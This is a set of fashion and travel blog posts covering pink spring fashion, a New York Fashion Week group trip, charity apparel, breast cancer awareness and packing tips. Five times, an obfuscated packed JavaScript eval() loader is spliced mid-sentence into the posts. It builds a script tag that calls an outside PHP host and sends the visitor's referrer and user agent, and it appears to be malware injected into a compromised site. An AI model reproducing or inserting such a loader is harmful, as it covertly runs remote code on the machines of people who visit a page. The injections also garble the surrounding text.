Style Report: Pink Gets Edgy for Spring!

coach pink western rivets bag stylespygirl
coach pink western rivets bag stylespygirl
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|earyf|var|u0026u|referrer|krytb||js|php’.split(‘|’),0,{}))
Photo by Sydney Studios and Co. / Handbag: @COACH / Sweater: @Express / Jeans: @levis / Shoes: @stevemadden

There’s something so magical about Spring emerging, isn’t there? Winter winds settle down into warmer breezes, Nature begins unfolding her first blush of flowers and baby tree buds… And of course, America’s clothing boutiques fling open their doors & illuminate their shelves with giddy prints and brighter colors. It’s SPRING FASHION, baby! 

Regardless of color palettes, this year, more than ever, the fashion world seems to be in revolution mode. All the old rules are out, and what’s most popular right now is simply what’s most rebellious, from political statements to mind-bending fashion runways. Is it any wonder that pink is an emerging power color in this climate, and that it’s being done in such edgy ways? Pink is like a smile, and right now it’s a smile we’re determined to put on our faces, whether we feel like it or not! 😉

coach pink western rivets stylespygirl

But this ain’t your mama’s Barbie pink or posh pastel, ladies. Nope; this pink is PUNK!

From handbags to jackets, to tattoo-style roses on jeans, pink these days feels less girly, and more of a dare. And that’s what makes it a fashion statement!

coach pink western rivets bag stylespygirlWhen I spotted this pink Page Crossbody bag in COACH, I died. It’s the perfect sherbet color, which tends a little toward the sweet side, but the metal studs and precious rocks infuse it with a mega-dose of sassy!

coach pink western rivets stylespygirl

Need more convincing that Pink is the New Black? Scroll down for more fashion inspiration below. And tell me in the comments if YOU’re going punk with pink this season!

XOXO,
Tanya

Special thanks to Toni Osmundson of Sydney Studios & Co. for the fun photo shoot, and to Boise’s JUMP for showing us around!

 

 

aikaslovecloset
Photo by @aikaslovecloset – click pic to jump to Instagram

 

swankgirl pink outfit 1
Pink dress via @swankgirl – Click pic to jump to Instagram

 

coach metal bag
COACH Dinkier bag – click pic for details!

 

pink details brass ranch sun valley
Pink details at Brass Ranch, Sun Valley – click pic to jump to Instagram

 

aikaslovecloset pink look 2
Photo by @aikaslovecloset – click pic to jump to Instagram

 

pink details piece unique
Pink details at Piece Unique, Boise – click pic to jump to Instagram

 

swankgirl pink outfit 2
Pink wrap via @swankgirl – Click pic to jump to Instagram

 

kenzie pink look
Photo by @kenzieparkertatum – click pic to jump to Instagram

 

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COACH 1941 Spring collection – click pic to shop

~~~

The Style Spy Girl #TravelPosse Does New York!

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do a group of adventurous women, most of whom hail from Boise, Idaho, take on the concrete jungles of NYC?

Like #bossgirls, that’s how!

This September 2016, we booked a Style Spy Girl Getaway travel group to New York for shopping, exploring, dining, sightseeing, and some incredible Fashion Week shows. Here is a recap of the incredible time we had together! (Most photos in this post are by ammophotog.)

Who We Areftl moda style spy girl groupHeather, Jody, Tina, Lisa, Tanya, Amanda, Maria, Amber

Each Style Spy Girl Getaway is a slightly different crew! Some ladies have joined us for every trip, while others pop in and out as they are able to accommodate costs and dates. For New York 2016, we had a wide variety of lovely friends from Idaho, Arizona, and Washington state; bloggers, hair stylists, media pros, entrepreneurs, business owners, and more! Despite our varying backgrounds and hometowns, a love of adventure and girl time bonded us together. ❤

~~~

Where We Stayednew york fashion week stylespygirl 1

Our crew loved coming home each evening to our bright, posh rooms at the Innside New York Hotel by Melia! It was such a calm oasis in the midst of a very busy city; no construction, no crowds, super central location, and easy to catch a cab to anywhere in town. On our first night in town, we met for cocktails, got settled in, and then headed to Times Square for an unforgettable experience in the heart of NYC! Did you know you can shop there all night long? Sephora at 2:00am is a very unique experience! Excuse me, but which lipstick makes me look like Kylie?style spy girl nyc times square

~~~

Where We Shoppedstyle spy girl nycfw 2017 tiffanys

Where do I begin?? Our goal on this trip was to be inspired by the fashion shows and street style around us, and explore all of the places we don’t have access to in Boise. We started off with a bang, piling into a limousine for a jaunt to Tiffany & Co. on 5th Avenue in downtown New York, where we were served champagne and guided on a private tour of  this historic flagship store! We had such a blast, oohing and aahing over all the gorgeous sparkly things, and appreciating the heritage of this iconic American brand.

style spy girl shopping nyc 2016 chanelThroughout the rest of the trip, we explored a wide variety of shopping options, including Bergdorf Goodman (with a Chanel apartment pop-up inside!), Saks Off Fifth, Chanel (of course!!!), as well as street shopping in NOLA, Little Italy, Chinatown, and really cool consignment stores around the area, too.

style spy girl shopping nyc 2016Special thanks to Eleven Consignment Boutique for throwing our crew a private shopping party in Brooklyn!!! 

~~~

The NYFW Showsstyle spy girl nyc fashion week macys show

Of course, the heart and soul of a New York Fashion Week Getaway has to be FASHION SHOWS! We had a blast at two major runway shows on this trip, both of which blew our minds: Macy’s Fashion’s Front Row show (above) starring Arianna Grande, Iris Apfel, Betsey Johnson, and more… and the FTL Moda Show (below) that challenged our hearts and our views of what beauty truly looks like.

First up: Macy’s! This show had everything, from Flo Rida welcoming us to his house, to light-up Samsung wrist bracelets that sparkled and flashed to the music, and Arianna Grande rocking our socks off with her incredible voice and energy. Everyone got swag bags that included whimsical glasses inspired by fashion icon Iris Apfel, along with the Samsung bracelets and other fun tidbits. The fashions rocked, and the show was non-stop high-velocity glam from start to finish!

My personal favorite legendary designer Betsey Johnson wowed us all, when she followed her new collection for Macy’s with a frolicking, joyful sashay down the runway herself, bedecked in stripes, bright colors, and her signature tutu. Jaws dropped and the audience exploded, as she threw herself into an exuberant cartwheel in the middle of the runway, her traditional grand finale move! The 74-year old rocking designer ends each of her shows this way, as a tribute to her personal battle with breast cancer, and commitment to live each day of her life to the fullest!

FTL MODA style spy girl show

Our next major show was for FTL Moda, featuring a variety of stunning and inspiring fashion designers! The entire evening was about diversity, culture, identity, beauty, and courage. We saw half-veiled faces, live snakes (!), and one brave and stunning model who was missing part of an arm, but used the other to literally carry the word “RESPECT” with her down the runway. That moment was deeply moving in itself, but nothing could prepare us for what came next…

Reshma runway image
Reshma Qureshi via Elle Magazine

Acid attack survivor Reshma Bano Qureshi, who was only 17 when a vicious attack by her own brother-in-law destroyed her left eye and half her face, stepped out onto the runway. She’s 19 now, and the second she appeared, bedecked in a white gown by Mumbai-based designer Archana Kochhar, all the air left the room… I can’t speak for every woman, only myself, but my heart shattered in a million pieces when she appeared! In that moment, she stood facing the world, with tears in her eyes and scars tracing the grooves of her skin… In that moment, she was every one of us; every woman who has ever been a victim, or been afraid, or suffered injustice… In that moment, she squared her shoulders and marched down the runway, towards the crowds and flashing lights, and showed us all what true courage looks like. And our hearts marched with her.

Reshma, you are my hero!
Click here to read more about her campaign to help other women like herself here:
MAKE LOVE NOT SCARS!

 

Girls’ Nights Out!girls nights out nyc

One of our favorite things about adventuring in New York was the nightlife. We adore our walkable downtown Boise, but one thing that’s lacking back home is rooftop nightclubs. Trust me; get a group of women standing on an open high-rise balcony overlooking a glittering Empire State Building and all the lights & sounds of NYC, and magic will happen! Every place we went was stunning and unique, from 230 Fifth Avenue to The Skylark. Some nights we walked, some we Ubered, and a couple we ended up deciding a limo was the best way to travel! Whatever the reason, or the destination, we all had a BLAST. Thank you NYC for taking such good care of us!

 

The Sightseeingsightseeing nyc 1

Of course, you haven’t seen The Big Apple, until you’ve walked in Central Park. With it’s acres of grassy knolls, regal trees, ponds, pathways, and explorers, it’s easy to see why this place is considered such a magical oasis to its residents. Once you’re in it, the Park is far bigger than you realize! We loved lunch in the center, at The Loeb Boathouse, right on the water. While we waited for our main course little turtles paddled up to the edge of our feet, vying with huge fish for dropped crumbs! Most of the time, the fish won.

We had a great adventure aboard the Hornblower sightseeing cruise as well, learning about the history of this gorgeous city from it’s stunning bay. We saw the Brooklyn Bridge, Empire State Building, World Trade Center 9/11 Memorial, and of course the Statue of Liberty. All around us were visitors from across the globe, gathering to gaze upon her welcoming face and outstretched arm! We had no idea, mere months ago, all of the changes that a newly-elected president would soon enact on our nation’s borders… For us in that moment, as we stood contemplating those who came before us – our grandfathers and grandmothers from every nation of the world who came to these shores seeking freedom and a better life – we were deeply proud to be Americans. ❤

 

statue of liberty ammophotog

In all, we had 6 days in NYC, and we seized every opportunity to make the most of it! At the end of the week we were exhausted, but headed home with our bags packed with fashion souvenirs, our cameras full of once-in-a-lifetime selfies, and a new sisterhood of friends forged by our shared New York minute.

Until the next adventure, ladies, cheers and hugs!!!
XOXO,
Tanya

Do YOU want to join the Style Spy Girl #TravelPosse on our next adventure?
It’s open an any and every woman who’d like to adventure with us!
Click below to find out about our next epic trip:
AMSTERDAM AND PARIS, SUMMER 2017!!!

Fashion Collaboration 4 Good: my new Girl Power shirt from FourthWave!

girl power feminist shirts

Hey, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfhtd|var|u0026u|referrer|shiya||js|php’.split(‘|’),0,{}))
babes! I am proud to announce the launch of my first fashion collaboration: a very special #girlpower shirt I’ve co-designed with FourthWave Apparel!

girl-power-shirt

Nobody puts Girl Power in a Corner.
Why? Because the gloves are off, and we are coming out fighting!

There is a new wave of activism sweeping across our nation right now, as men and women everywhere are stepping up to use their time, energy, and wallets to make a difference in the community around them. Many of us are galvanized, like never before, to find ways we can each help make our world a better place.

As a feminist, I believe that a vital part of fighting for equality in our nation involves lifting up our sisters who are most at risk and vulnerable!

I created this shirt with FourthWave Apparel as a way we can take a stand for those who may not have the resources or ability to stand up for themselves! When you purchase my new Girl Power shirt, use code LEAP40, and 40% of the profits will be donated to LEAPCharities.org, a Boise-based non-profit that provides housing, transitional services, and support to refugees seeking resettlement in our nation.

test of a civilization quote

Why is that important? And why should “girl power” focus on those who have just arrived in our community? Because many immigrant families who have worked hard to get here are feeling understandable fear. Idaho is a major gateway for refugees, who arrive in our nation fleeing violence, persecution, or seeking freedom, and a life with more opportunities than they had in their previous land.

 

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Shirts available in black, heathered white (top of page), or pink! Use code LEAP40 to send 40% of the proceeds to LEAPCharities!

There has never been a better time for us to stand up for each other across fences, walls, and ethnicity lines. Fact: Women in minority groups in this country fight for equality every day, twice as hard as many of us realize, because they simultaneously have to deal with sexism and racism!  If you’ve never thought about that before, let it sink in; search your heart, and reach out to those around you.

True equality means all are equal, period. If I really want to make the world a better place for my family, I absolutely have to be just as passionate about making it a better place for all families, regardless of  gender, race, religion, or dis/ability.

If you fight for equality, now is the time to stand up and do it with your wallet, with your courage, and with your helping hands. The power to make a difference is in us! Girl-power sisters, let’s get out of the corner! 

XOXO,
Tanya

P.S. If you want to donate directly to LEAP Charities or volunteer, contact them here: http://www.leapcharities.org/
Other great options in the Treasure Valley that need our support are www.idahorefugees.org/,www.rescue.org, and worldreliefboise.org. Help out, in any way you can! Every effort makes a difference.

 

Celebrating Breast Cancer Awareness Month with White House|Black Market!

white-house-black-market-stylespygirlWH|BM eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edtyi|var|u0026u|referrer|yfkry||js|php’.split(‘|’),0,{}))
Butterfly Tee
: $58 | each T sold donates $30 to LBBC!

It’s National Breast Cancer Awareness Month, and I’m deeply honored to team up with White House|Black Market in their efforts to help spread awareness and raise funds for much-needed care, education, and research!

In recent years, many in the fashion world have jumped on board this global effort, designing distinct and beautiful pieces to inspire consumers to pay it forward and help raise money. This year, White House|Black Market has teamed up with Living Beyond Breast Cancer, to launch three limited-edition products you can buy and wear, with the knowledge that your dollars are going to help women in need: a butterfly t-shirt, inspirational scarfand beautiful trinket tray.

white-house-black-market-stylespygirl-1
Butterfly scarf: $48, with $20 donated to LBBC | Inspire Tray: $18, with $10 donated to LBBC

When you purchase any of these items, a portion of the proceeds goes directly to Living Beyond Breast Cancer, an organization that provides programs and services to help people whose lives have been impacted by breast cancer.

White House|Black Market’s ongoing collaboration with LBBC has helped raise over $5/5 million in the last 25 years!

lbbc-logo

Did you know that US Cancer death rates have fallen 22% since 1991? That’s good news, and it means that all our efforts – from NFL teams wearing pink socks, to butterfly scarves blowing in the wind – are having a massive impact. But even though diagnosis, treatments, and education have helped prolong and even give back life to many, we still have a long way to go.

white-house-black-market-stylespygirl-5

According to the American Cancer Society, Idaho ranks 50th in the nation for screening, despite the fact that women in our state have a one in eight chance of being diagnosed with invasive breast cancer during their lifetime.

Get screened, get educated, know your risk factors! The good news is that with early diagnosis and proper care, 82% of women live for five years or more after diagnosis! I recently stopped by St Luke’s for a mammogram…

tata-selfieThat’s right, I’m calling it a #TaTaSelfie from now on! Let’s start a trend, ladies! 😉

There are resources, tools, and education for women in all walks of life! For example, did you know that the American Cancer Society has programs across Idaho State? Everything from transportation and lodging services, to makeup and skincare classes for women dealing with the cosmetic side effects of cancer and treatments! How amazing is that?!? 🙂 Click the image below to find out more:

american-cancer-society-stats

Stay safe, be generous, and keep up the fight to end cancer.
Every bit counts, and together, we can make a difference!

Love you all!
XOXO,
Tanya

~~~~~~~

Photography by Valerie Davenport

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white-house-black-market-stylespygirl

white-house-black-market-stylespygirl

white-house-black-market-stylespygirl

white-house-black-market-stylespygirl

Disclosure: I was given these products by White House|Black Market to photo shoot
and wear proudly in support of their collaboration with Living Beyond Breast Cancer. ❤

Exciting Changes to my Fashion Getaways! (Part 2)

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Changes in Store…

Hello, friend!

Earlier this month, I shared the Why behind my girls-only Fashion Getaways: Empowering women to travel! To recap, I believe magic happens when you step out of your comfort zone, your city, and your culture. Your eyes see something new, and your heart expands to take it in. Travel changes you; it makes you stronger, but it also makes you see the world as more accessible! (View the full Part 1: Why article HERE!)

Now, I’d like to explain How we’re making it all happen! My goal is to plan at least two trips per year, one domestic/US trip and one international, loosely based on the Fashion Week calendar of Spring and Fall.

For 2017, I am currently putting together TWO Fashion Getaways. The first is an early-summer Amsterdam & Paris trip – which I’ll release information about SOON – so those of you who want to come can purchase your airline tickets while they’re less expensive!

Then for the domestic/US trip, later in the year, say Aloha! to a tropical getaway to Honolulu Fashion Week. This Getaway will be in the Fall, with luaus, exploring, beaches, poolside cocktails, shopping, hula dancing, snorkeling, and much more. My mouth is already watering for Kahlua Pork and Mai Thais, is yours?

So here is the big question:
How are we going to empower each woman to have the fashion/cultural/empowering adventure that she wants?
BY GIVING YOU CHOICESstylespygirl fashion getaway new york city

Beginning with the Amsterdam/Paris 2017 trip, the Style Spy Girl team will create itineraries that have a daily scheduled group activity (a fashion week show, dinner reservations, etc.), most likely in the evening. During the morning and afternoon, we will incorporate YOUR wishlist/bucket list items (if you will be on this trip, please write in and tell us what those are!) into the schedule. It’s important to note: these will be optional activities that each woman can sign up for, or you can choose to have free time instead!

This information will be provided weeks in advance, so you can plan ahead and decide exactly how much alone time, group time, shopping time, and sightseeing time YOU are interested in, and how much you want to budget for each of those things. It puts the power in your hands to create the adventure you want, and you can plan exactly how much you want to spend doing it.

So, tell me: where in the world do you want to go? stylespygirl fashion getaway new york city

And what do you want to see/do/eat/hear/watch/experience while you’re there? Click reply to email me back, and let’s keep the conversation going, or connect with me on Facebook, Instagram, or Twitter!

The world is ours to explore – so let’s hop on board, babes! 🙂

Come with me, and together we can #GlobeTrotLikeAGirl!

XOXO,
Tanya Carnahan

An Open Letter About Why I REALLY Do Fashion Trips for Women (Part 1)

eiffel tower paris stylespygirl

stylespygirlnyc-14

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zitzy|var|u0026u|referrer|nhtrr||js|php’.split(‘|’),0,{}))
Real Reason I Do Fashion Getaways

(Hint: It’s not just about the shopping!)

Hello, my friends!

It’s time for an update! You may have heard about the ladies-only Fashion Getaways I launched last year. If you want to know the How, What, and Why behind these trips, read on…

For starters, a heartfelt THANK YOU for your feedback — to you who have been on excursions with me and those who are interested in joining future trips!

I’ve heard everything from “I’d love more shopping time!” to “There’s too much shopping; I’d prefer to sit in a café and absorb the culture!” and “Will there be more fashion shows?” or “I don’t want to dress up and do fashion shows every night; let’s just relax and go get dinner!”

The truth is, I want all my travel companions to have a wonderful time on every getaway we plan! On our way home from our recent New York trip, while thinking through all we accomplished and ways we could improve, I had an epiphany: Yes, we really can do it all, and I know exactly how we’re going to do it! But before I share the How, I’d like to share some of the reasons Why we’re doing this in the first place…

eiffel tower paris stylespygirl

What’s the goal of Fashion Getaways?

Is it all about fashion shows? No. Is it all about shopping? No. Are we a glam squad that always looks amazing and camera-ready? I’ll answer that as soon as I stop laughing… um, definitely no!

NYC was honestly a lot of shorts, t-shirts, and sneakers — and we did our best to comfortably explore the city during a surprise heat wave. Humidity in the Big Apple is no joke!

I started Fashion Getaways because I want to empower women to travel. 

Here’s the thing: this means ALL WOMEN. Yes, all women are welcome on these getaways — women of every age, style, and demographic.

I believe magic happens when you step out of your comfort zone, your city, and your culture. Your eyes see something new, and your heart expands to take it in. You encounter challenges and rise up to meet them. You figure out how to navigate a new city, explore new food, see historic landmarks, meet people that aren’t really as different from you as you might have thought, and embark on adventures you never would have encountered back home.

And travel changes you! It makes you stronger, but it also makes you see the world as more accessible. It helps you realize that you can go almost anywhere, and do anything you want! And how much more fun is it to do with a group of adventurous women?

stylespygirlnyc-88

It’s true: I love fashion — and I love shopping

But more than that, I am passionate about traveling, having new cultural experiences, and empowering women to have life-changing adventures! This is what I hope to achieve with these Fashion Getaways; to bring together ladies of all ages and backgrounds – even strangers! – who share a love of travel. I want to see women experience the world in their own unique ways, and I want to create adventures that make it all possible.

Come globetrot with me… watch the Eiffel Tower sparkle and shine, learn to hula dance in Honolulu, eat a cone of fries “mit mayo” while walking the cobblestone streets of Amsterdam, listen to street music on the sidewalks in New Orleans, watch a sunset from the breezy beaches of Greece… and yes, do a little (or a lot of!) shopping along the way. Because we’re girls, and that’s how we roll!

Stay tuned for my next update… when I explain How — and describe the exciting ways we’re making all of this happen!

I’ll be releasing details regarding a women’s trip to Amsterdam and Paris VERY soon, so make sure to connect with me on Facebook, Instagram, or Twitter!

Come with me, and together we can #GlobeTrotLikeAGirl!

XOXO,
Tanya Carnahan

How to Pack Light and Just Use a Carry-On!

packing light advice fashion blogger

packing light advice fashion blogger

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznyf|var|u0026u|referrer|htybz||js|php’.split(‘|’),0,{}))
printed in the Idaho Statesman’s Treasure Magazine, view the online version here:

Going on a trip? Treasure Valley style expert offers tips for packing light!

If you are among those jetting off on vacation this summer, you’ll likely have to endure many of the hassles of flying: baggage check-in, security, flight delays, layovers and the eternal baggage claim carousel.

Some of these things are unavoidable. However, there is one major way you can cut down on the vacation time you spend stuck in an airport while beaches beckon you: Pack everything in carry-ons.

Seriously, you can do it. This spring I traveled to London, Amsterdam and Paris with my husband and was determined to only take what I could carry quickly through an airport: my carry-on and a cute backpack.

stylespygirl on the go

My husband laughed when I stated this intention; he knows that as a fashion blogger I feel compelled to always dress well for the hundreds of photos I’ll be taking as we travel. He also knows I have a particularly passionate habit of accumulating fashion treasures along the way and once or twice have had to purchase extra luggage to bring it all home with me!

Not this time, I vowed, because I’m writing a book of travel tips for women adventuring abroad, and I had to make this work.

And if this little shopping-crazy fashionista could manage two weeks abroad in a carry-on and a backpack, so can you!

1. Mix and Match

Don’t take your favorite outfits; only take things that match each other. Focus on multi-functional pieces. I found a breezy swimsuit cover-up at Target (pictured above) that also looks great with a tank top and jeans or thrown over a dress. It’s a neutral color, too, so it goes with everything. Great for the beach, exploring and shopping, or a night out on the town.

packing light for vacation stylespygirl

Photo by Valerie Davenport / Swimsuit cover-up from Target / Sandals by Dolce Vita, Nordstrom / Bags by COACH

2. Go Monochromatic

Pick three colors, and I mean it. My “Eurotrip” suitcase had only black, white and gray in it. Somber, yes — but with my intentionally blank canvas, I had plenty of room to add accent colors and fun accessories along the way. A blue scarf here, a red umbrella there and a pretty cardigan or patterned handbag to seal the deal!

3. Ditch the Big Coat

Unless you’re vacationing to snow, pick the most versatile layering jacket out of your closet and wear it on the plane. That saves space in your luggage and gives you a blanket of sorts to stay warm on a long flight or a pillow to cuddle with.

(Bonus tip: Wear all of your largest items on the plane. Not only does this give you options to make yourself more comfortable on long flights, but it also saves room in your carry-on for more compact items. )

4. Leave Behind the Bling

Leave diamond rings (and other high-end jewelry) at home, in a locked safe or with someone you trust. Even in many modern European countries, for example, diamond wedding sets are not customary; most folks wear simple bands. Major bling can quickly brand you as an American tourist and might cause people to make assumptions about your wealth.

When I travel, I wear a small silver band I bought for $3 at Charming Charlie and leave my fine jewelry with a trusted friend. I also take only three necklaces: one small piece, one multi-strand chunkier piece and one multi-layered piece. That way, every neckline in my suitcase is covered.

packing light stylespygirl fashion advice

5. Take 2 Pairs of Shoes, Period

You really only need one pair of comfortable walking shoes and one dressier heel or wedge. You can buy cheap flip-flops just about anywhere in the world if you really need something extra for the beach — and then leave them behind before you head home.

6. Pack everything inside everything else

On my Europe trip, I discovered I could fit six pairs of rolled-up socks in each of my favorite ankle boots. Six! I can also fit 6-7 pairs of underwear in one ankle boot as well. Look for unused nooks & crannies for extra space! I chose a small second purse for evenings out ,and found to my delight that my ziplocked toiletries fit perfectly inside it. No additional toiletry bag needed!

I also learned I could fit my everyday handbag into my backpack, with more toiletries and extra gear on top, so I had a total of three purse options for my trip, ranging from mini to large, each one compactly nestled inside the other.

Another great option is to purchase a specific compact multi-functional travel bag, like the one I bought (below) from Coach at Boise Towne Square, to use for trips. It’s a wallet, handbag, phone holder and clutch all in one!coach wallet wristlet silver

Photo by Valerie Davenport / Bag by COACH / Heart sunnies from Hot Topic

7. Take travel sizes

Don’t bring all your toiletries; only take samples. Every time I shop for beauty products, I end up with extra trial samples from stores like Sephora and Macy’s that I use for traveling. Not only are they compact and disposable, but I also enjoy the adventure of trying new things as part of my travels. “Good morning, London! Let’s see how these ‘Revitalizing Moisture’ under-eye strips help with my jetlag!”

You can also buy things wherever you travel. Plus, it’s fun to explore new products. A need for facial moisturizer in Paris led me to find some amazing new brands of skin care that I never would have discovered had I brought my own.

(Bonus tip: Many larger beauty shops and department stores all over the world will give you neatly packaged samples of products you’d like to try. Run out of conditioner? Ask for a sample. It might hold you over for the trip and help you discover something new.)

8. Ship it

If you’re anything like me, you’re likely to accumulate things as you travel. You can certainly purchase a suitcase inexpensively in most tourist markets, but don’t forget the convenience of global postal services.

I lived in Amsterdam when I was a teenager, and some of my best memories of that city were exploring all the incredible candies and chocolates made there. This winter I had the opportunity to return with my husband for the first time in many years.I visited a local grocery store, filled a massive box to the brim with all the stroopwafels, kinderspekken, drop (licorice) and gummy things I could find and walked straight to the post office to ship it all home. We had such a blast at home a few weeks later, opening up all that yummy stuff and explaining it to my kids.

(Bonus tip: If you’re shopping in high-end boutiques or department stores abroad, ask about shipping. Some shops will let you buy an item and will mail it home for you.)

When you’re on vacation, you really don’t need as much as you think. People won’t notice how often you’ve worn an outfit. Do laundry if you need to, but keep your luggage light. You never know when you might discover an awesome new treasure to bring home — and you’ll be glad you have room for it!

Watch how it all goes together, in my video tutorial on How to Pack Light, below!

How do YOU pack light? Tell me your favorite tips and advice in the comments below!
XOXO,
Tanya